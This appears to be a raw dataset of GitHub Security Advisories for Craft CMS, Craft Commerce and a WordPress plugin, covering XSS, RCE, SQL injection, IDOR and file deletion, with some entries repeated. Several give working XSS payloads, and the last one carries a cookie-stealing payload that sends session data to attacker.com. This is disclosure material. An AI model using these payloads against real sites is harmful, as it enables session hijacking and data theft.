deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-g3hp-vvqf-8vw6
Package: craftcms/cms (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0-RC1, <= 5.8.21
Patched in: 5.8.22

Summary: Craft CMS Vulnerable to Stored XSS via User Group Name in User Permissions Page

Details:
## Summary
A stored XSS vulnerability exists in the User Permissions page. The User Group name is rendered without proper HTML escaping in the permissions section, allowing an attacker to execute arbitrary JavaScript when another user views or edits a user's permissions.

> [!NOTE]
> This is a separate vulnerability from the previously reported "[Stored XSS via User Group Name in User Settings Page](https://github.com/craftcms/cms/security/advisories/GHSA-2423-8xxj-wc3g)" and "[Multiple Stored XSS in User Group Edit Page](https://github.com/craftcms/cms/security/advisories/GHSA-vx7g-xw92-g4xj)". This affects a different sink: the individual user's permissions page.

## Proof of Concept
### Required Permissions
- Admin access
- `allowAdminChanges` is enabled in production, which is against our [security recommendations](https://craftcms.com/knowledge-base/securing-craft).

### Steps to Reproduce
1. Log in to the control panel as an admin
2. Navigate to **Settings → Users → User Groups**
3. Create or edit a user group and set the **Name** field to:
    ```html
    <img src=x onerror="alert('XSS')" hidden>
    ```
4. Save the user group
5. Navigate to **Users** and edit any user (`/admin/users/{id}`)
6. Click on the **Permissions** tab
7. XSS executes

## Mitigation
Sanitize user group names when rendering in the user permissions template.

## References

https://github.com/craftcms/cms-ghsa-4mgv-366x-qxvx/pull/2
GitHub Security Advisory: GHSA-fp5j-j7j4-mcxc
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 4.0.0-beta.1, <= 4.17.3
Patched in: 4.17.4

Summary: CraftCMS has an RCE vulnerability via relational conditionals in the control panel

Details:
A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system.

The `BaseElementSelectConditionRule::getElementIds()` method passes user-controlled string input
through `renderObjectTemplate()` -- an unsandboxed Twig rendering function with escaping disabled.

Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full
RCE by sending a crafted condition rule via standard element listing endpoints.

This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and
bypasses all production hardening settings (allowAdminChanges: false, devMode: false,
enableTwigSandbox: true).

Users should update to the patched 5.99 release to mitigate the issue.
GitHub Security Advisory: GHSA-fp5j-j7j4-mcxc
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: >= 5.0.0-RC1, <= 5.9.8
Patched in: 5.9.9

Summary: CraftCMS has an RCE vulnerability via relational conditionals in the control panel

Details:
A Remote Code Execution vulnerability exists in the Craft CMS 5 conditions system.

The `BaseElementSelectConditionRule::getElementIds()` method passes user-controlled string input
through `renderObjectTemplate()` -- an unsandboxed Twig rendering function with escaping disabled.

Any authenticated Control Panel user (including non-admin roles such as Author or Editor) can achieve full
RCE by sending a crafted condition rule via standard element listing endpoints.

This vulnerability requires no admin privileges, no special permissions beyond basic control panel access, and
bypasses all production hardening settings (allowAdminChanges: false, devMode: false,
enableTwigSandbox: true).

Users should update to the patched 5.99 release to mitigate the issue.
GitHub Security Advisory: GHSA-g7j6-fmwx-7vp8
Package: craftcms/cms (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: >= 5.0.0-RC1, <= 5.9.8
Patched in: 5.9.9

Summary: CraftCMS's `ElementSearchController` Affected by Blind SQL Injection

Details:
The `ElementSearchController::actionSearch()` endpoint is missing the `unset()` protection that
was added to ElementIndexesController in [GHSA-2453-mppf-46cj](https://github.com/craftcms/cms/security/advisories/GHSA-2453-mppf-46cj).

The exact same SQL injection vulnerability (including `criteria[orderBy]`, the original advisory vector) works on this controller because the fix was never applied to it.

Any authenticated control panel user (no admin required) can inject arbitrary SQL via `criteria[where]`,
`criteria[orderBy]`, or other query properties, and extract the full database contents via boolean-based blind injection.

Users should update to the patched 5.9.9 release to mitigate the issue.
GitHub Security Advisory: GHSA-fvwq-45qv-xvhv
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: >= 5.7.5, <= 5.9.6
Patched in: 5.9.7

Summary: CraftCMS vulnerable to reflective XSS via incomplete return URL sanitization

Details:
### Summary

The fix for CVE-2025-35939 in `craftcms/cms` introduced a `strip_tags()` call in `src/web/User.php` to sanitize return URLs before they are stored in the session. However, `strip_tags()` only removes HTML tags (angle brackets) -- it does not inspect or filter URL schemes. Payloads like `javascript:alert(document.cookie)` contain no HTML tags and pass through `strip_tags()` completely unmodified, enabling reflected XSS when the return URL is rendered in an `href` attribute.

### Details
The patched code in is:

```php
public function setReturnUrl($url): void
{
    parent::setReturnUrl(strip_tags($url));
}
```

`strip_tags()` removes HTML tags (e.g., `<script>`, `<img>`) from a string, but it is **not** a URL sanitizer. When the sanitized return URL is subsequently rendered in an `href` attribute context (e.g., `<a href="{{ returnUrl }}">`), the following dangerous payloads survive `strip_tags()` completely unmodified:

1. **`javascript:` protocol URLs** -- `javascript:alert(document.cookie)` contains no HTML tags, so `strip_tags()` returns it verbatim. When placed in an `href`, clicking the link executes the JavaScript.

2. **`data:` URIs** -- `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` uses Base64 encoding and contains no tags at all, bypassing `strip_tags()` entirely.

3. **Protocol-relative URLs** -- `//evil.com/steal` contains no tags and is passed through unchanged. When rendered as an `href`, the browser resolves it relative to the current page’s protocol, redirecting the user to an attacker-controlled domain.

The core issue is that `strip_tags()` operates on HTML syntax (angle brackets) while the threat model here requires URL scheme validation. These are fundamentally different security concerns.

### Impact

**Reflected XSS via crafted return URL.** An attacker constructs a malicious link such as `https://target.example.com/craft/?returnUrl=javascript:alert(document.cookie)` and sends it to a victim. The attack flow is:

1. Victim clicks the link, visiting the Craft CMS site.
2. The application calls `setReturnUrl()` with the attacker-controlled value.
3. `strip_tags()` processes the URL but finds no HTML tags -- it passes through unchanged.
4. The URL is stored in the session and later rendered in an `href` attribute (e.g., a "Return" or "Continue" link).
5. When the victim clicks that link, `javascript:alert(document.cookie)` executes in the context of the Craft CMS origin.

This enables:
- **Session hijacking** via cookie theft (`document.cookie`)
- **Data exfiltration** via `fetch()` to an attacker-controlled server
- **Phishing** by redirecting to a lookalike domain (protocol-relative URL)
- **CSRF** by performing actions on behalf of the authenticated user
GitHub Security Advisory: GHSA-fvwq-45qv-xvhv
Package: craftcms/cms (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-116: Improper Encoding or Escaping of Output
Vulnerable versions: >= 4.15.3, <= 4.17.2
Patched in: 4.17.3

Summary: CraftCMS vulnerable to reflective XSS via incomplete return URL sanitization

Details:
### Summary

The fix for CVE-2025-35939 in `craftcms/cms` introduced a `strip_tags()` call in `src/web/User.php` to sanitize return URLs before they are stored in the session. However, `strip_tags()` only removes HTML tags (angle brackets) -- it does not inspect or filter URL schemes. Payloads like `javascript:alert(document.cookie)` contain no HTML tags and pass through `strip_tags()` completely unmodified, enabling reflected XSS when the return URL is rendered in an `href` attribute.

### Details
The patched code in is:

```php
public function setReturnUrl($url): void
{
    parent::setReturnUrl(strip_tags($url));
}
```

`strip_tags()` removes HTML tags (e.g., `<script>`, `<img>`) from a string, but it is **not** a URL sanitizer. When the sanitized return URL is subsequently rendered in an `href` attribute context (e.g., `<a href="{{ returnUrl }}">`), the following dangerous payloads survive `strip_tags()` completely unmodified:

1. **`javascript:` protocol URLs** -- `javascript:alert(document.cookie)` contains no HTML tags, so `strip_tags()` returns it verbatim. When placed in an `href`, clicking the link executes the JavaScript.

2. **`data:` URIs** -- `data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==` uses Base64 encoding and contains no tags at all, bypassing `strip_tags()` entirely.

3. **Protocol-relative URLs** -- `//evil.com/steal` contains no tags and is passed through unchanged. When rendered as an `href`, the browser resolves it relative to the current page’s protocol, redirecting the user to an attacker-controlled domain.

The core issue is that `strip_tags()` operates on HTML syntax (angle brackets) while the threat model here requires URL scheme validation. These are fundamentally different security concerns.

### Impact

**Reflected XSS via crafted return URL.** An attacker constructs a malicious link such as `https://target.example.com/craft/?returnUrl=javascript:alert(document.cookie)` and sends it to a victim. The attack flow is:

1. Victim clicks the link, visiting the Craft CMS site.
2. The application calls `setReturnUrl()` with the attacker-controlled value.
3. `strip_tags()` processes the URL but finds no HTML tags -- it passes through unchanged.
4. The URL is stored in the session and later rendered in an `href` attribute (e.g., a "Return" or "Continue" link).
5. When the victim clicks that link, `javascript:alert(document.cookie)` executes in the context of the Craft CMS origin.

This enables:
- **Session hijacking** via cookie theft (`document.cookie`)
- **Data exfiltration** via `fetch()` to an attacker-controlled server
- **Phishing** by redirecting to a lookalike domain (protocol-relative URL)
- **CSRF** by performing actions on behalf of the authenticated user
GitHub Security Advisory: GHSA-m4q3-832v-44j6
Package: wpmetabox/meta-box (COMPOSER)
Severity: HIGH (CVSS 7.2)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 5.11.2
Patched in: 5.11.2

Summary: Meta Box Plugin for WordPress: Authenticated (Contributor+) Arbitrary File Deletion via ajax_delete_file

Details:
The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the 'ajax_delete_file' function in all versions up to, and including, 5.11.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
GitHub Security Advisory: GHSA-vff3-pqq8-4cpq
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 4.0.0, < 4.11.0
Patched in: 4.11.0

Summary: Craft Commerce: Potential IDOR in Commerce carts

Details:
An Insecure Direct Object Reference (IDOR) vulnerability exists in Craft Commerce’s cart functionality that allows users to hijack any shopping cart by knowing or guessing its 32-character number. This vulnerability enables the takeover of shopping sessions and potential exposure of PII.

## Vulnerability Details

### Root Cause

The `CartController` accepts a user-supplied `number` parameter to load and modify shopping carts. No ownership validation is performed - the code only checks if the order exists and is incomplete, not whether the requester has authorization to access it.

```php
// CartController.php:374-389 - actionLoadCart()
public function actionLoadCart(): ?Response
{
    $number = $this->request->getParam('number');

    if ($number === null) {
        return $this->asFailure(Craft::t('commerce', 'A cart number must be specified.'));
    }

    // No ownership check - returns any cart to any requester
    $cart = Order::find()->number($number)->isCompleted(false)->one();

    // Cart is loaded into attacker's session without authorization
    ...
}
```

```php
// CartController.php:606-616 - _getCart()
$orderNumber = $this->request->getBodyParam('number');
if ($orderNumber) {
    // Same issue - no ownership validation
    $cart = Order::find()->number($orderNumber)->isCompleted(false)->one();
    // Returns cart to any requester who knows the number
}
```
---

## Attack Scenario

### Prerequisites
- Target Craft Commerce installation with active shopping carts
- Knowledge of a victim’s cart number (32-character hex string)

### Cart Number Acquisition Vectors

1. **Referrer Header Leakage**: Cart URLs shared externally expose the number
2. **Browser History**: Accessible on shared/compromised devices
3. **Proxy/WAF Logs**: Cart numbers logged in URL parameters
4. **Social Engineering**: Support tickets, screenshots containing cart URLs
5. **Brute Force**: While impractical for random targeting, feasible for targeted attacks against recently-created carts

---
GitHub Security Advisory: GHSA-vff3-pqq8-4cpq
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-639: Authorization Bypass Through User-Controlled Key
Vulnerable versions: >= 5.0.0, < 5.6.0
Patched in: 5.6.0

Summary: Craft Commerce: Potential IDOR in Commerce carts

Details:
An Insecure Direct Object Reference (IDOR) vulnerability exists in Craft Commerce’s cart functionality that allows users to hijack any shopping cart by knowing or guessing its 32-character number. This vulnerability enables the takeover of shopping sessions and potential exposure of PII.

## Vulnerability Details

### Root Cause

The `CartController` accepts a user-supplied `number` parameter to load and modify shopping carts. No ownership validation is performed - the code only checks if the order exists and is incomplete, not whether the requester has authorization to access it.

```php
// CartController.php:374-389 - actionLoadCart()
public function actionLoadCart(): ?Response
{
    $number = $this->request->getParam('number');

    if ($number === null) {
        return $this->asFailure(Craft::t('commerce', 'A cart number must be specified.'));
    }

    // No ownership check - returns any cart to any requester
    $cart = Order::find()->number($number)->isCompleted(false)->one();

    // Cart is loaded into attacker's session without authorization
    ...
}
```

```php
// CartController.php:606-616 - _getCart()
$orderNumber = $this->request->getBodyParam('number');
if ($orderNumber) {
    // Same issue - no ownership validation
    $cart = Order::find()->number($orderNumber)->isCompleted(false)->one();
    // Returns cart to any requester who knows the number
}
```
---

## Attack Scenario

### Prerequisites
- Target Craft Commerce installation with active shopping carts
- Knowledge of a victim’s cart number (32-character hex string)

### Cart Number Acquisition Vectors

1. **Referrer Header Leakage**: Cart URLs shared externally expose the number
2. **Browser History**: Accessible on shared/compromised devices
3. **Proxy/WAF Logs**: Cart numbers logged in URL parameters
4. **Social Engineering**: Support tickets, screenshots containing cart URLs
5. **Brute Force**: While impractical for random targeting, feasible for targeted attacks against recently-created carts

---
GitHub Security Advisory: GHSA-mj32-r678-7mvp
Package: craftcms/commerce (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce has stored XSS in Craft Commerce Order Details Slideout

Details:
## Summary
A Stored Cross-Site Scripting (XSS) vulnerability exists in the Craft Commerce Order details. Malicious JavaScript can be injected via the **Shipping Method Name**, **Order Reference**, or **Site Name**. When a user opens the order details slideout via a double-click on the order index page, the injected payload executes.

## Reproduction Steps
1. Navigate to **Commerce** -> **Store Management** -> **Shipping Methods**.
1. Click "New Shipping Method".
1. In the **Name** field, enter the following XSS payload:
    ```html
    <img src=x onerror=alert('XSS_Shipping')>
    ```
1. Save the Shipping Method.
1. Place a new order or edit an existing order.
1. Set the order's **Shipping Method** to the one created in the previous steps.
1. Navigate to the **Orders** index page (`/admin/commerce/orders`).
1. Double-click the target order to open the details slideout.
1. **Result**: The XSS payload executes.
GitHub Security Advisory: GHSA-mj32-r678-7mvp
Package: craftcms/commerce (COMPOSER)
Severity: LOW (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 4.0.0, <= 4.10.1
Patched in: 4.10.2

Summary: Craft Commerce has stored XSS in Craft Commerce Order Details Slideout

Details:
## Summary
A Stored Cross-Site Scripting (XSS) vulnerability exists in the Craft Commerce Order details. Malicious JavaScript can be injected via the **Shipping Method Name**, **Order Reference**, or **Site Name**. When a user opens the order details slideout via a double-click on the order index page, the injected payload executes.

## Reproduction Steps
1. Navigate to **Commerce** -> **Store Management** -> **Shipping Methods**.
1. Click "New Shipping Method".
1. In the **Name** field, enter the following XSS payload:
    ```html
    <img src=x onerror=alert('XSS_Shipping')>
    ```
1. Save the Shipping Method.
1. Place a new order or edit an existing order.
1. Set the order's **Shipping Method** to the one created in the previous steps.
1. Navigate to the **Orders** index page (`/admin/commerce/orders`).
1. Double-click the target order to open the details slideout.
1. **Result**: The XSS payload executes.
GitHub Security Advisory: GHSA-wj89-2385-gpx3
Package: craftcms/commerce (COMPOSER)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce has stored XSS in Inventory Location Name

Details:
## Summary
A stored XSS vulnerability exists in the Commerce Settings - Inventory Locations page. The **Name** field is rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript.

This XSS triggers when an administrator (or user with product editing permissions) creates or edits a variant product.

## Proof of Concept

### Permissions Required
- General
    - Access the control panel
    - Access Craft Commerce

- Craft Commerce
    - Manage inventory locations

### Steps to Reproduce

1. Log in to the control panel
2. Navigate to **Commerce → Inventory Locations**
3. Create or edit a location
4. Set **Name** to the following payload:
    ```html
    <img src=x onerror="alert('XSS')">
    ```
5. Save the location
6. Navigate to **Commerce → Products** and click "New Product" and click "New product variant"
7. The Inventory Location table loads, rendering the **Inventory Location Name**
8. XSS executes

## Impact
- Potential Session Hijacking
- Potential Database Exfiltration
- Potential Account Takeover by forcing a password change on the victim’s account.
- Potential Privilege escalation, or creating new admin users.

## Mitigation
Sanitize the inventory location name field when rendering in the "Track Inventory" table.
GitHub Security Advisory: GHSA-cfpv-rmpf-f624
Package: craftcms/commerce (COMPOSER)
Severity: HIGH (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 5.0.0, <= 5.5.2
Patched in: 5.5.3

Summary: Craft Commerce has multiple Stored XSS in Commerce Inventory Page, Leading to Session Hijacking

Details:
## Summary

Stored XSS vulnerabilities exist in the Commerce Inventory page. The **Product Title**, **Variant Title**, and **Variant SKU** fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.

This vulnerability enables **session hijacking** by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.

## Proof of Concept

### Permissions Required

- Access the control panel
- Access Craft Commerce
- Create/Edit products

### Steps to Reproduce
1. Log in to the control panel
2. Navigate to **Commerce → Products**
3. Add a new product and set the **Title** field to: (replace `https://attacker.com`)
    ```html
    <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">
    ```
4. Save the product
5. Navigate to **Commerce → Inventory** (`/admin/commerce/inventory`)
6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server

### Cookie Extraction Details
The PHP Info page (`/admin/utilities/php-info`) displays cookie values (unmasked) in multiple locations:
- `HTTP_COOKIE`
- `Cookie` (used in this PoC)
- `$_SERVER['HTTP_COOKIE']`
- `$_COOKIE['<cookie-name>']`

### Notes
- The same vulnerability exists in **Variant Title** and **Variant SKU** fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
- `$_COOKIE['CRAFT_CSRF_TOKEN']` is masked in PHP Info, but the unmasked value is available in the other parameters listed above.
- This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.

## Mitigation
1. Sanitize product and variant fields when rendering in the inventory template
2. Mask sensitive cookie values in the PHP Info utility page (similar to how `CRAFT_CSRF_TOKEN`, `CRAFT_SECURITY_KEY`, and `CRAFT_DB_PASSWORD` are already masked)